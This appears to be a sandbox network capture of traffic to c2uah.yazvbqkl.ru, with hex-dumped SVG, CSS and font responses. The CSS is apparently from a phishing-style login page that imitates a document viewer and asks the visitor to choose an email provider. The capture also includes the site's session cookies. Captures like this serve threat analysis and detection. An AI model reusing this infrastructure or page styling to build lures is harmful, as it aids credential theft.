2025-03-26 22:34:35 UTC	419	IN	Data Raw: 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 77 69 64 74 68 3d 22 39 39 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 70 61 74 68 20 64 3d 22 4d 33 34 2e 36 34 33 20 31 32 2e 30 37 35 6c 2d 2e 35 38 38 20 31 2e 36 34 37 68 2d 2e 30 33 34 63 2d 2e 31 30 35 2d 2e 33 38 37 2d 2e 32 38 2d 2e 39 33 34 2d 2e 35 35 36 2d 31 2e 36 33 6c 2d 33 2e 31 35 2d 37 2e 38 39 37 68 2d 33 2e 30 37 37 56 31 36 2e 37 35 68 32 2e 30 33 56 39 2e 30 33 32 63 30 2d 2e 34 37 36 2d 2e 30 31 2d 31 2e 30 35 32 2d 2e 30 33 2d 31 2e 37 31 31 2d 2e 30 31 2d 2e 33 33 33 2d 2e 30 34 39 2d 2e 36 2d 2e 30 35 38 2d 2e 38 30 34 68 2e 30 34 35 63 2e 31 30 33 2e 34 37 33 2e 32 31 2e 38 33 34 2e Data Ascii: g/1999/xlink" height="22" width="99"><g fill="none" fill-rule="evenodd"><path d="M34.643 12.075l-.588 1.647h-.034c-.105-.387-.28-.934-.556-1.63l-3.15-7.897h-3.077V16.75h2.03V9.032c0-.476-.01-1.052-.03-1.711-.01-.333-.049-.6-.058-.804h.045c.103.473.21.834.
2025-03-26 22:34:35 UTC	45	IN	Data Raw: 32 37 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 30 20 32 30 2e 39 35 36 68 39 38 2e 31 34 38 56 30 48 30 7a 22 3e 3c 2f 70 61 74 68 3e 0d 0a Data Ascii: 27<path d="M0 20.956h98.148V0H0z"></path>
2025-03-26 22:34:35 UTC	1369	IN	Data Raw: 31 62 63 36 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 34 32 2e 38 36 36 20 31 36 2e 37 35 31 68 32 2e 31 31 38 56 37 2e 37 35 32 68 2d 32 2e 31 31 38 7a 4d 34 33 2e 39 34 37 20 33 2e 39 32 39 63 2d 2e 33 34 39 20 30 2d 2e 36 35 33 2e 31 31 39 2d 2e 39 30 32 2e 33 35 33 61 31 2e 31 36 36 20 31 2e 31 36 36 20 30 20 30 30 2d 2e 33 37 38 2e 38 38 33 63 30 20 2e 33 34 34 2e 31 32 36 2e 36 33 36 2e 33 37 34 2e 38 36 35 2e 32 34 37 2e 32 33 2e 35 35 32 2e 33 34 35 2e 39 30 36 2e 33 34 35 73 2e 36 36 2d 2e 31 31 35 2e 39 31 2d 2e 33 34 35 63 2e 32 35 2d 2e 32 33 2e 33 37 39 2d 2e 35 32 2e 33 37 39 2d 2e 38 36 35 20 30 2d 2e 33 33 39 2d 2e 31 32 35 2d 2e 36 33 32 2d 2e 33 37 2d 2e 38 37 33 61 31 2e 32 36 32 20 31 2e 32 36 32 20 30 20 30 30 2d 2e 39 31 39 2d 2e 33 36 33 Data Ascii: 1bc6<path d="M42.866 16.751h2.118V7.752h-2.118zM43.947 3.929c-.349 0-.653.119-.902.353a1.166 1.166 0 00-.378.883c0 .344.126.636.374.865.247.23.552.345.906.345s.66-.115.91-.345c.25-.23.379-.52.379-.865 0-.339-.125-.632-.37-.873a1.262 1.262 0 00-.919-.363

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:35 UTC	1394	OUT	GET /56WNRhKU5BiLLVLVxyIWWrnQ8918 HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
2025-03-26 22:34:36 UTC	879	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 22:34:36 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Content-Disposition: inline; filename="56WNRhKU5BiLLVLVxyIWWrnQ8918" Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d0NQR03r8n8g6btNxebx7IVdcysY0Pl%2FEVJhdjtKs8CHBf6k9B4rLuxKkAZkTC%2BrhYIC%2FLGE6Gx3ZK64F4CZwnqMyRVZ6wBdeZd0Rt3ORRs4uTWxYFzSSao%2BAGAynt5USbb9"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: accept-encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=28113&min_rtt=27832&rtt_var=8159&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2307&delivery_rate=98291&cwnd=77&unsent_bytes=0&cid=fd24eab153a9e445&ts=318&x=0" CF-RAY: 926a1dc59e969e05-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 22:34:36 UTC	490	IN	Data Raw: 31 63 64 63 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 Data Ascii: 1cdc#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #
2025-03-26 22:34:36 UTC	1369	IN	Data Raw: 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 47 61 64 75 67 69 2c 22 53 65 67 6f 65 20 58 62 6f 78 20 53 79 6d 62 6f 6c 22 2c 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 22 4d 65 69 72 79 6f 20 55 49 22 2c 22 4b 68 6d 65 72 20 55 49 22 2c 54 75 6e 67 61 2c 22 4c 61 6f 20 55 49 22 2c 52 61 61 76 69 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 4c 61 74 68 61 2c 4c 65 65 6c 61 77 61 64 65 65 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 20 55 49 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4a 68 65 6e 67 48 65 69 20 55 49 22 2c 22 4d 61 6c 67 75 6e 20 47 6f 74 68 69 63 22 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 73 61 Data Ascii: etica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa
2025-03-26 22:34:36 UTC	1369	IN	Data Raw: 74 61 69 6e 65 72 3e 2e 62 67 33 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 33 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 39 37 31 2e 32 35 70 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 31 3e 23 62 67 31 69 6d 61 67 65 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 31 3e 23 62 67 31 69 6d 61 67 65 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 33 34 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 35 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 3e 23 62 67 32 69 6d 61 67 65 2c 23 73 65 63 74 69 6f Data Ascii: tainer>.bg3{grid-area:bg3;height:auto;width:971.25pt;margin-left:0}#sections_doc .pdfbackcontainer>.bg1>#bg1image,#sections_pdf .pdfbackcontainer>.bg1>#bg1image{margin-left:-34%;width:100%;height:50px}#sections_doc .pdfbackcontainer>.bg2>#bg2image,#sectio
2025-03-26 22:34:36 UTC	1369	IN	Data Raw: 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 36 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 35 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 36 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 37 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 35 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 38 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 32 31 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c Data Ascii: ns_pdf .lds-spinner div:nth-child(6){transform:rotate(150deg);animation-delay:-.6s}#sections_pdf .lds-spinner div:nth-child(7){transform:rotate(180deg);animation-delay:-.5s}#sections_pdf .lds-spinner div:nth-child(8){transform:rotate(210deg);animation-del
2025-03-26 22:34:36 UTC	1369	IN	Data Raw: 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 2e 64 6f 63 4e 61 6d 65 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 2e 64 6f 63 4e 61 6d 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 20 61 75 74 6f 20 61 75 74 6f 20 31 30 70 78 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 2e 6c 65 66 74 4d 65 6e 75 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 Data Ascii: fheader #pdffaviconImg{margin-top:auto;margin-bottom:auto;margin-left:5px}#sections_doc .pdfheader .docName,#sections_pdf .pdfheader .docName{display:block;margin:auto auto auto 10px;color:inherit}#sections_doc .pdfheader .leftMenu,#sections_pdf .pdfheade
2025-03-26 22:34:36 UTC	1369	IN	Data Raw: 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 31 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 69 64 65 6c 65 62 6c 65 73 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 3a 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 63 75 72 65 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 Data Ascii: ion:column;justify-content:center;width:100%;height:110px;border-radius:5px}#sections_pdf .login .sidelebles>span{color:#fff;text-align:left;margin:5px;font-size:14px;font-family:'Playfair Display',serif}#sections_pdf .login .secure>span{color:#fff;font-s
2025-03-26 22:34:36 UTC	61	IN	Data Raw: 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 0d 0a Data Ascii: play:flex}#sections_doc .login .selectProvider .choseemails
2025-03-26 22:34:36 UTC	1369	IN	Data Raw: 31 61 64 32 0d 0a 3e 73 70 61 6e 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 37 39 29 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 3e 64 69 76 2c 23 73 65 63 74 Data Ascii: 1ad2>span,#sections_pdf .login .selectProvider .choseemails>span{color:#fff;width:100%;height:auto;margin:auto;text-align:center;background-color:rgba(0,0,0,.379);padding:15px;border-radius:5px}#sections_doc .login .selectProvider .choseemails>div,#sect
2025-03-26 22:34:36 UTC	1369	IN	Data Raw: 33 37 29 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 6c 6c 42 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 30 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 77 69 64 74 68 3a 31 30 30 25 3b 7a 2d 69 6e 64 Data Ascii: 37);z-index:100000}#sections_doc .allBlock{position:relative;margin-left:auto;margin-right:auto;width:100%;display:flex;justify-content:center;flex-direction:column;align-items:center;z-index:1000000000}#sections_doc .login{position:fixed;width:100%;z-ind
2025-03-26 22:34:36 UTC	1369	IN	Data Raw: 69 6e 2d 72 69 67 68 74 3a 2d 34 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 2d 36 34 31 7b 6d 61 72 67 69 6e 3a 30 20 34 70 78 3b 66 6c 65 78 2d 67 72 6f 77 3a 31 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 63 73 73 2d 33 32 37 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 77 69 64 74 68 3a 31 30 30 25 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 74 69 74 6c 65 2d 36 33 34 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 34 70 78 3b 63 6f 6c 6f 72 3a 23 32 35 32 34 32 33 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 70 72 65 2d 6c 69 6e 65 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 68 65 69 67 68 74 3a 31 30 30 25 7d Data Ascii: in-right:-4px}#sections_doc .action-641{margin:0 4px;flex-grow:1}#sections_doc .css-327{display:flex;justify-content:flex-end;width:100%}#sections_doc .title-634{padding-bottom:4px;color:#252423;white-space:pre-line}body{background-color:#fff;height:100%}

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:35 UTC	1401	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive Origin: https://c2uah.yazvbqkl.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
2025-03-26 22:34:35 UTC	1171	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 22:34:35 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" Last-Modified: Wed, 26 Mar 2025 22:25:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NilffZGVcO%2BLZ%2F7RMzufOsqRLSza3D4fCJDkhY484k88DbpA036nCzaTsjVwGspmLd2nK6ZiSq%2BSMuYYpdgs5oBFXDl2JJc4ktMn0ByeQv66ISNOlCFUFdeZSQuazOHSqCtb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=8547&min_rtt=8298&rtt_var=2828&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2253&delivery_rate=278125&cwnd=237&unsent_bytes=0&cid=e36362cfd2c960e0&ts=466&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 547 Accept-Ranges: bytes Server: cloudflare CF-RAY: 926a1dc59dd18c7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=85523&min_rtt=85466&rtt_var=18059&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1973&delivery_rate=35744&cwnd=252&unsent_bytes=0&cid=b9abfb715d1d1b91&ts=194&x=0"
2025-03-26 22:34:35 UTC	198	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)J
2025-03-26 22:34:35 UTC	1369	IN	Data Raw: ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 bc ef 58 a8 f0 9b c5 a1 13 3e 5b 8f 37 84 95 1b dd c4 fb 92 f6 31 3f 3f e9 b5 33 1b 3f 74 d0 95 c5 71 45 fc 1e 66 c9 95 b6 19 62 97 c3 e1 2c c8 92 46 77 63 70 38 ab af 91 34 5e 02 5e 78 9e b1 7c a7 82 a3 c6 52 6f 3c 25 dc d7 22 2e e1 09 81 7e 30 8f 94 71 ee b7 f8 72 50 88 85 47 11 0b b2 82 f4 97 de 52 ff cd dd bc c0 2d 9d bc 7b 4f 92 51 65 4a a9 db c1 16 d8 36 ec 45 cd 8e 9e f6 ff fe b2 ac aa 7b ef 7b 1f 1a d4 a2 16 d0 2c 68 a5 21 8c cc 83 5f bd 04 bd dd 0b 7f 24 03 cb 33 a9 9d 63 46 40 11 87 3e b9 8f a3 0d a2 0d 1d 8d 74 c0 6f f3 ef d1 46 63 20 88 95 18 59 53 8c af ac 8d fe 73 19 56 d4 Data Ascii: Fc A7kv2=Zn4`~Nl4;Sl{w:#=! X>[71??3?tqEfb,Fwcp84^^x\|Ro<%".~0qrPGR-{OQeJ6E{{,h!_$3cF@>toFc YSsV
2025-03-26 22:34:35 UTC	1369	IN	Data Raw: 4b b7 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c 35 30 7a cc f8 09 13 27 4d 9e 32 7d c6 cc 59 b3 e7 cc 1d dc f5 1e f7 b9 78 c9 46 1b f3 73 92 35 88 21 b9 90 06 4c a1 ec 44 53 63 41 4a 18 28 48 6b 6b a6 b0 10 96 b2 ea 6e 60 12 8b 54 27 3a 88 0d 21 91 cf 78 89 b0 b1 d8 18 21 22 c5 da ac b1 1d e5 ca f6 61 f6 a8 56 58 53 71 3c 02 8d 44 a2 a2 41 23 e9 58 a6 4f 15 82 22 96 74 9e aa c0 f4 bc 86 89 99 78 96 9e cc 06 39 a9 dd f8 40 7f e2 54 d8 c2 6b b4 1b e6 c5 e1 04 8c 66 32 96 29 88 85 e4 1c c6 0e b7 46 86 56 d0 e4 51 61 62 15 4f 01 27 e6 16 29 b4 dd 95 b0 ee 43 0c a3 4b ea 60 8c c0 09 ad e3 6f 88 46 c1 31 3e 16 2f a6 93 a3 2c a1 5c 8f a6 25 Data Ascii: Ka&LYl\w`1]JY-s-XdUkmwaG50z'M2}YxFs5!LDScAJ(Hkkn`T':!x!"aVXSq<DA#XO"tx9@Tkf2)FVQabO')CK`oF1>/,\%
